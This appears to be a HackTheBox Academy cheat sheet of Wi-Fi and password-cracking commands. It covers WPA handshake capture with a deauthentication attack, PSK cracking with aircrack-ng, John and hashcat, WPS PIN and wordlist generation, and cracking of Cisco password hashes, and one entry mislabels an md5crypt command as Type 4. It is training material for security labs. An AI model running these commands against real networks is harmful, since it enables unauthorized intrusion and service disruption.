HACKTHEBOX

WI-FI PASSWORD CRACKING TECHNIQUES

CHEAT SHEET

The Traditional WPA Attack

Command	Description
`sudo airmon-ng start wlan0`	Enable monitor mode
`sudo airodump-ng wlan0mon -c 1 -w WPA`	Scan for Wi-Fi networks and associated clients
`sudo aireplay-ng -0 5 -a 80:2D:BF:FE:13:83 -c 8A:00:A9:9B:ED:1A wlan0mon`	Launch a deauthentication attack
`cowpatty -c -r WPA-01.cap`	Validate whether a proper WPA handshake was captured
`cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBox`	Retrieve the WPA-PSK from a captured handshake (cowpatty)
`aircrack-ng WPA-01.cap -w /opt/wordlist.txt`	Retrieve the WPA-PSK from a captured handshake (aircrack-ng)
`./wpapcap2john WPA-01.pcap > hash`	Parse the 4Way-Handshake to produce a hash (JtR format)

Command	Description
`john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=wpapsk`	Crack the WPA hash (JtR)
`hcxpcapngtool -o hash WPA-01.pcap`	Parse the 4Way-Handshake to produce a hash (Hashcat format)
`hashcat -m 22000 --force hash wordlist.txt`	Crack the WPA hash (Hashcat)

Using Hashcat

Command	Description
`hashcat -I`	Identify available CPU and GPU devices
`hashcat -m 22000 hash wordlist.txt -D 1 -d 2`	CPU based cracking, using device number 2
`hashcat -m 22000 hash wordlist.txt -D 2 -d 8`	GPU based cracking, using device number 8
`hashcat -m 22000 hash wordlist.txt -w 3`	Workload level 3
`hashcat -m 22000 hash wordlist.txt -O`	Optimized kernel
`hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4`	Bind to specific CPU cores
`hashcat -m 22000 hash wordlist.txt -D 1 --cpu-affinity=1,2,3,4 --hook-threads=8`	Control number of threads
`hashcat -m 22000 hash wordlist.txt -D 1,2 -d 1,2`	Use GPU and CPU simultaneously
`hashcat -m 22000 hash wordlist.txt -r /usr/share/hashcat/rules/T0XlC.rule`	Apply a rule file to the wordlist

Command	Description
`hashcat -a 3 -m 22000 hash '?u?l?l?l?l?l?l?l?a?d?d?d?d?d'`	Launch a mask attack
`hashcat -a 3 -m 22000 hash --increment --increment-min 8 --increment-max=14 '?u?l?l?l?l?l?l?l?a?d?d?d?d?d'`	Apply a mask increment (minimum length 8, maxmium length 14)
`hashcat -a 1 -m 22000 hash wordlist1 wordlist2`	Launch a combinator attack
`hashcat -a 6 -m 22000 hash wordlist.txt ?d?d?d`	Hybrid mode 6 (dictionary followed by mask)
`hashcat -a 7 -m 22000 hash ?d?d?d wordlist`	Hybrid mode 7 (mask followed by wordlist)

Rule Operation	Description
`c`	Capitalize the first character, lowercase the rest
`C`	Lowercase the first character, uppercase the rest
`t`	Toggle the case of all characters in word
`T2`	Toggle the case of characters at position 3
`$1`	Append 1 to the end
`^1`	Prepend 1 to the front
`r`	Reverse the word
`sa@`	Substitute a with @
`d`	Duplicate the word
`z5`	Duplicate first character 5 times
`Z5`	Duplicate last character 5 times

Mask	Description
?l	Lower-case ASCII letters
?u	Upper-case ASCII letters
?d	Digits
?h	Digits with lower-case ASCII letters
?H	Digits with upper-case ASCII letters
?s	Special characters
?a	Combination of ?l, ?u, ?d and ?s
?b	All possible byte values

Generating Credentials

Command	Description
grep -i "9C-C9-EB" /var/lib/ieee-data/oui.txt	Manufacturer lookup
python3 NPCinator.py > passwords.txt	Generate Netgear passwords
wpspin D4:BF:7F:EB:29:D2	Generate the default WPS PIN for a given ESSID
wpspin -A D4:BF:7F:EB:29:D2	Generate a variety of WPS PINs for a given ESSID
cupp -i	Launch CUPP in interactive mode
cewl http://logistics.local -d 4 -m 8 -w inlane.wordlist	Generate a wordlist based on crawled website information (crawl depth 4, minimum length 8)
./username-anarchy David Smith	Generate a list of possible username permutations

Command	Description
`./username-anarchy --list-formats`	List available username formats
`./username-anarchy --country france --auto`	Generate usernames that follow a country-specific naming convention
`./username-anarchy --recognise j.smith`	Identify the username format

Miscellaneous Attacks

Command	Description
`grep -i "9C-C9-EB" /var/lib/ieee-data/oui.txt`	Manufacturer lookup
`genpmk -f /opt/rockyou.txt -d /tmp/hashtable -s HackTheBox`	Generate a precomputed hash table
`john --format=Raw-SHA256 --wordlist=/opt/rockyou.txt hash`	Crack a Cisco Type 4 password hash (JtR)
`hashcat -m 5700 -O -a 0 hash /usr/share/wordlists/rockyou.txt`	Crack a Cisco Type 4 password hash (Hashcat)
`john --format=md5crypt --fork=4 --wordlist=/opt/rockyou.txt hash`	Crack a Cisco Type 4 password hash (JtR)
`hashcat -m 500 -O -a 0 hash /usr/share/wordlists/rockyou.txt`	Crack a Cisco Type 5 password hash (Hashcat)
`python ciscot7.py -d -p 08116C5D1A0E550516`	Decrypt a Cisco Type 7 password
`john --format=pbkdf2-hmac-sha256 --fork=4 --wordlist=/opt/rockyou.txt hash`	Crack a Cisco Type 8 password hash (JtR)
`hashcat -m 9200 -a 0 hash /usr/share/wordlists/rockyou.txt`	Crack a Cisco Type 8 password hash (Hashcat)
`john --format=scrypt --fork=4 --wordlist=/opt/rockyou.txt hash`	Crack a Cisco Type 9 password hash (JtR)

Command	Description
`hashcat -m 9300 -a 0 --force hash /usr/share/wordlists/rockyou.txt`	Crack a Cisco Type 9 password hash (Hashcat)

HTB ACADEMY CHEATSHEET